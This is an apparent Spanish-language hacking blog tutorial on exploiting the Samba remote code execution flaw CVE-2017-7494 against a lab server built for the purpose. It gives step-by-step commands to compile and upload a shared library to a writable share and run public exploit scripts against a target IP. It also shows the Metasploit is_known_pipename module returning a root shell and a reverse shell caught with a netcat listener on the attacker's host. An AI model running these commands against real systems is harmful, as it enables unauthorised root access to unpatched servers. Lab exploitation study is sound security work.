Obteniendo Shell en Linux por medio de Samba


El día de hoy veremos algunas formas para ejecutar código remoto en un Linux mediante el servicio Samba gracias a el relativamente nuevo CVE: 2017-7494. En resumen, dicha volunerabilidad permite a un atacante subir una librería a una carpeta compartida escribible y permite que el servidor la ejecute, obteniendo shell o cualquier otro comando.

Lo interesante de esta vulnerabilidad es que afecta cualquier versión (no parcheada) de Samba, a partir de 3.5.0 y a continuación probaremos la versión 4.5.9 en Ubuntu 12.06 aunque la versión de Linux realmente no importa.

Para comenzar, explicaremos como podemos instalar un servicio Samba vulnerable para nuestras pruebas. Para ello, como lo dije antes, probaremos la versión 4.5.9 que podremos conseguir en la siguiente dirección.

https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz

Una vez descargado podremos compilarlo.

tar -xvf samba-4.5.9.tar.gz 
cd samba-4.5.9/
./configure --sbindir=/sbin/ --sysconfdir=/etc/samba/
make
sudo make install


Luego de tener instalado nuestro samba, creamos el archivo smb.conf en la carpeta /etc/samba/ con la siguiente configuración básica.

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = ubuntu
security = user
map to guest = bad user
dns proxy = no

#Share Definitions #


[Public]
path = /mnt/public
browsable =yes
writable = yes
guest ok = yes
read only = no
force user = nobody

Luego creamos la carpeta /mnt/public y agregamos los permisos necesarios.


mkdir /mnt/public
chmod -R 0775 /mnt/public
chown -R nobody:nogroup /mnt/public

Ahora, si queremos iniciar el servicio y comprobar que funcione, podemos ejecutarlo con: sudo smbd  --configfile=/etc/samba/smb.conf e ingresar desde un Windows a la carpeta compartida "Public"


Exploit 1 (Desde Kali)

El primer exploit que vamos a probar lo puedes encontrar en la dirección: https://github.com/omri9741/cve-2017-7494 y lo podemos descargar con el comando: git clone https://github.com/omri9741/cve-2017-7494.git Luego podemos entrar a la carpeta e instalar impacket pues es una dependencia del exploit con el comando: pip install -r requirements.txt

Ahora debemos iniciar el samba en modo debugging, esto con el fin de lograr ver un mensaje interno del programa cuando cargue la libreria

sudo smbd -i --debuglevel=10 --configfile=/etc/samba/smb.conf

Ahora, entramos a la carpeta payload donde veremos un archivo llamado poc.c el cual es un código escrito en C y lo único que hace es mostrar un mensaje, para nuestro caso podemos editarlo de la siguiente manera:


#include <stdio.h>

int samba_init_module(void)
{
        printf("Hola, Desde Easy Hacking ;)\n");

        return 0;
}

Dentro de esta misma carpeta, vemos un archivo llamado build.sh, Lo que debemos hacer es ejecutarlo de la siguiente manera.


chmod +x build.sh
./build.sh

y ahora, aparece un archivo llamado libpoc.so


Ahora, este archivo debemos copiarlo a la carpeta compartida en el Samba y ejecutar el exploit.

python exploit.py -t 192.168.0.37 -m /mnt/public/libpoc.so

y en el log de debbug del samba debería aparecer nuestro mensaje.



Ahora, podrás codear tus propios exploits y compilarlos como librería de linux ".so"  y ejecutarlos en el servidor Samba.

Metasploit.

En el momento, existe un exploit migrado en metasploit y vamos a mostrar como podemos usarlo.

Lo primero que debemos hacer es buscar el exploit. y descargarlo desde el siguiente link.


Ahora lo único que debemos hacer es copiar el codigo del exploit y pegarlo en la carpeta. /root/.msf4/modules/exploits/linux/samba  con el nombre is_known_pipename.rb. e iniciamos metasploit con normalidad.

luego de iniciar metasploit actualizamos la base de datos  con el comando  "reload_all" y podemos usar el exploit.

use exploit/linux/samba/is_known_pipename 
set rhost 192.168.0.37
set smb_share_name public
exploit


En la pnatalla anterior vemos que nos entrega shell como root


Exploit 2

Ahora vamos a intentar otra forma de ejecutar el exploit, para esto vamos a decargar otro github que podemos encontrar en https://github.com/joxeankoret/CVE-2017-7494

Este exploit funciona generando una shell reversa que podemos recibir con Netcat. Para esto, solo debemos ejecutar en una ventana de terminal:  nc -lvvp 4444

ahora en otra terminal ejecutamos el exploit.

python cve_2017_7494.py -t IPVICTIMA -H IPATACANTE -p 4444

y ahora esperamos, luego deberíamos recibir la shell con el netcat.



Ahi tenemos 3 métodos diferentes para obtener shell remota de Linux gracias a la nueva vulnerabilidad de Samba: CVE-2017-7494


Comentarios

Entradas más populares de este blog

Explotación de vulnerabilidad MS17-010

Apache Struts ejecución de código remoto.